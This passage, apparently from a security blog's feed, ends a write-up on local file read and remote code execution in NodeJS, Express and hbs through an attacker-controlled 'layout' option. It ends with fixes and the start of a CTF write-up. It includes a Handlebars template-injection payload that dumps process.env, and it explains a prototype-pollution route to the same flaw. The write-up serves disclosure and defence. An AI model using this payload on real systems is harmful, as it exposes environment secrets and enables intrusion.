&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;view-render-in-ExpressJs-Link&quot;&gt;&lt;code&gt;view.render&lt;/code&gt; in ExpressJs. &lt;a href=&quot;https://github.com/expressjs/express/blob/master/lib/view.js#L133&quot;&gt;Link&lt;/a&gt;&lt;/h4&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;View&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;prototype&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;callback&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;  debug&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;render &quot;%s&quot;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.path);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  this&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;engine&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.path, options, callback);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In View class, &lt;code&gt;this.engine&lt;/code&gt; becomes an instance of &lt;a href=&quot;https://www.npmjs.com/package/hbs&quot;&gt;hbs&lt;/a&gt; in our case and &lt;code&gt;this.path&lt;/code&gt; = &lt;code&gt;rootViewDir + viewFilename&lt;/code&gt;. The &lt;code&gt;options&lt;/code&gt; argument is our &lt;code&gt;profile&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;Sink-Instantiation-in-hbs-Link&quot;&gt;Sink: Instantiation in hbs. &lt;a href=&quot;https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L29&quot;&gt;Link&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I will take the liberty here and modify the code a bit to make it linear and easy to understand, but you can check out the original version on Github.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; middleware&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;cb&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;// The Culprit - https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; layout &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; options.layout;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; view_dirs &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; options.settings.views;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; layout_filename &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [].&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;concat&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(view_dirs).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;view_dir&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;){&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;    // Some code to create full paths&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; view_path &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; path.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(view_dir, layout &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;layout&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;    // This actually restricts reading/executing files without extensions.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;path.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;extname&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(view_path)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      view_path &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; extension;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; view_path;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;tryReadFileAndCache&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(layout_filename);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;// in-memory caching Code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; tryReadFileAndCache&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;templates&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; template &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; templates.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;shift&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    fs.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(template, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;      cacheAndCompile&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(template, str);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; cacheAndCompile&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;    // Here we get compiled HTML from handlebars&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; layout_template &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; handlebars.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;compile&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(str);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;    // Some further logic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can stop analysing here, as you can see on &lt;code&gt;Line 22&lt;/code&gt; we effectively read from the &lt;code&gt;Root Views Dir + layout&lt;/code&gt; and pass it to &lt;a href=&quot;https://github.com/handlebars-lang/handlebars.js#usage&quot;&gt;handlebars.compile&lt;/a&gt; which gives us the HTML after compiling the given file which we completely control (Except the extension cause it’s added explicitly from the config to the path if not provided already. &lt;code&gt;Line. 12&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Hence the LFR, &lt;strong&gt;we can read any files with extensions.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;RCE-💣&quot;&gt;RCE 💣&lt;/h2&gt;
&lt;p&gt;As the templating is involved, we do have a strong potential for RCE. It has the following pre-requisites though:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Through the above LFR read &lt;code&gt;./../package.json&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;See the version of hbs being used, it should be &amp;lt;= &lt;code&gt;4.0.3&lt;/code&gt;. Because after this version, the &lt;code&gt;hbs&lt;/code&gt; team started using &lt;code&gt;Handlebars.js of version &amp;gt;= 4.0.14&lt;/code&gt;, &lt;a href=&quot;https://github.com/pillarjs/hbs/blob/5d71299ea6309452975a379cf9c156245f9cb6f8/package.json&quot;&gt;Commit Link&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;In Handlebars below this version, it was possible to create RCE payloads. There is an &lt;a href=&quot;http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html&quot;&gt;awesome writeup&lt;/a&gt; on this by &lt;a href=&quot;https://twitter.com/Zombiehelp54&quot;&gt;@Zombiehelp54&lt;/a&gt; with which they got RCE on Shopify.&lt;/li&gt;
&lt;li&gt;And you should have a functionality of file upload on the same box with a known location, which is quite an ask considering everybody uses blob storage these days, but we never know 🤷‍♂️&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;With above fulfilled, you can write a handlebars template payload like below to get RCE:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;!-- (by [@avlidienbrunn](https://twitter.com/avlidienbrunn)) --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{{#with &quot;s&quot; as |string|}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  {{#with &quot;e&quot;}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    {{#with split as |conslist|}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      {{this.pop}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      {{this.push (lookup string.sub &quot;constructor&quot;)}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      {{this.pop}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      {{#with string.split as |codelist|}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        {{this.pop}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        {{this.push &quot;return JSON.stringify(process.env);&quot;}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        {{this.pop}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        {{#each conslist}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          {{#with (string.sub.apply 0 codelist)}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            {{this}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          {{/with}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        {{/each}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      {{/with}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    {{/with}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  {{/with}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{{/with}}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;Fix-🤕&quot;&gt;Fix 🤕&lt;/h2&gt;
&lt;p&gt;Easy fix would be to stop using the code anti-pattern shown in the above example like below:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;❌ res.render(&apos;index&apos;, profile)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;v/s&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✅ res.render(&apos;index&apos;, { profile })&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;which I think many devs use already so that they can be more descriptive in templates with the usage of just “{{name}}” vs “{{profile.name}}”.&lt;/p&gt;
&lt;p&gt;But think for a second again, is the above code safe? Yea sure, we don’t have a way to provide &lt;code&gt;layout&lt;/code&gt; in the options argument to &lt;code&gt;res.render&lt;/code&gt; anymore. But is there any way to still introduce the culprit &lt;code&gt;layout&lt;/code&gt; parameter?&lt;/p&gt;
&lt;h3 id=&quot;Prototype-Pollution&quot;&gt;Prototype Pollution!&lt;/h3&gt;
&lt;p&gt;It would be ignorant if we don’t mention proto pollution in a Js/NodeJs Web Security writeup 🙃 !&lt;/p&gt;
&lt;p&gt;Readers who are unaware of proto pollution, please watch this &lt;a href=&quot;https://www.youtube.com/watch?v=LUsiFV3dsK8&quot;&gt;awesome talk&lt;/a&gt; from Olivier Arteau at NorthSec18.&lt;/p&gt;
&lt;p&gt;As you can see, even the most common pattern (&lt;code&gt;res.render(&apos;template&apos;, { profile })&lt;/code&gt;) of passing objects to render function is not safe, If the application has prototype pollution at any place with which an attacker can add &lt;code&gt;layout&lt;/code&gt; to prototype chain, the output of every call to &lt;code&gt;res.render&lt;/code&gt; will be overwritten with LFR/RCE. So we have DoS-ish LFR/RCE! With presence of exploitable proto pollution, this becomes quite a good gadget plus becomes unfixable unless we fix proto pollution.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solid Fix&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;First fix proto pollution if you are vulnerable to it.&lt;/li&gt;
&lt;li&gt;and you can remove the &lt;code&gt;layout&lt;/code&gt; key from the object or do whatever to stop it from reaching that vulnerable Sink.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let me know what you think should be the proper fix?&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Above I have described my observations on a potentially critical vulnerability in the Setup of &lt;strong&gt;NodeJS + Express + HBS&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;As this setup is pretty common, I wanted this writeup to be out there. The handlebars engine particularly is very popular due to it’s support of HTML symantics. Everytime I work on a side-project, I quickly setup the boilerplate code with quick one liner of &lt;a href=&quot;https://expressjs.com/en/starter/generator.html&quot;&gt;express-generator cli&lt;/a&gt; &lt;code&gt;express --view hbs&lt;/code&gt; and this creates the exact same stack the above issue is talking about. Don’t know how many time I might have used that code line myself. I plan to do the same kind of review for other view engines that express supports (ejs, hjs, jade, pug, twig, vash).&lt;/p&gt;
&lt;p&gt;Anyways, thanks for Reading! If something is erroneous, please let me know, would love to have a constructive discussion.&lt;/p&gt;
&lt;p&gt;It’s called Dependency Hell for a reason!&lt;/p&gt;
&lt;p&gt;Best,&lt;br&gt;
CF&lt;/p&gt;
</content:encoded><category>Hacking</category><category>NodeJs</category><category>WebSecurity</category><author>Shoeb Patel</author></item><item><title>HackerOne-2006 CTF Writeup</title><link>https://research.shoebpatel.com/2020/06/19/HackerOne-2006-CTF-Writeup/</link><guid isPermaLink="true">https://research.shoebpatel.com/2020/06/19/HackerOne-2006-CTF-Writeup/</guid><description>After playing quite an amount of CTFs till date, I can really say that this was one of the extraordinary ones and it is quite visible once you consider the magnitude of logical deductions it required to follow the right path and not the rabbit holes and the effort taken in arranging the stable…</description><pubDate>Fri, 19 Jun 2020 04:37:25 GMT</pubDate><content:encoded>&lt;h1 id=&quot;HackerOne-2006-CTF-Writeup&quot;&gt;HackerOne-2006 CTF Writeup&lt;/h1&gt;
&lt;p&gt;After playing quite an amount of CTFs till date, I can really say that this was one of the extraordinary ones and it is quite visible once you consider the magnitude of logical deductions it required to follow the right path and not the rabbit holes and the effort taken in arranging the stable infrastructure required. Thanks, Hackerone, and the Authors for amazing 24 hours of intellectual satisfaction which was much needed in the lockdown. It felt good to be in the &lt;a href=&quot;https://twitter.com/adamtlangley/status/1266983209994199040?s=20&quot;&gt;Top 5s to crack this&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;An Unorthodox CTF requires an Unorthodox writeup hence it will be a summarised walkthrough of my thought process. The Hackerone Report submiited can be found here &lt;a href=&quot;https://hackerone.com/reports/887766&quot;&gt;#887766&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For the people who actively tried and could not solve till the end, an illustrative TL;DR will be fine:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/tldr.png&quot; alt=&quot;&quot; title=&quot;TLDR&quot;&gt;&lt;/p&gt;
&lt;p&gt;In a nutshell, Solution has 8 steps:&lt;/p&gt;
&lt;h2 id=&quot;Index&quot;&gt;Index&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Initial Recon&lt;/li&gt;
&lt;li&gt;Exposed .git directory&lt;/li&gt;
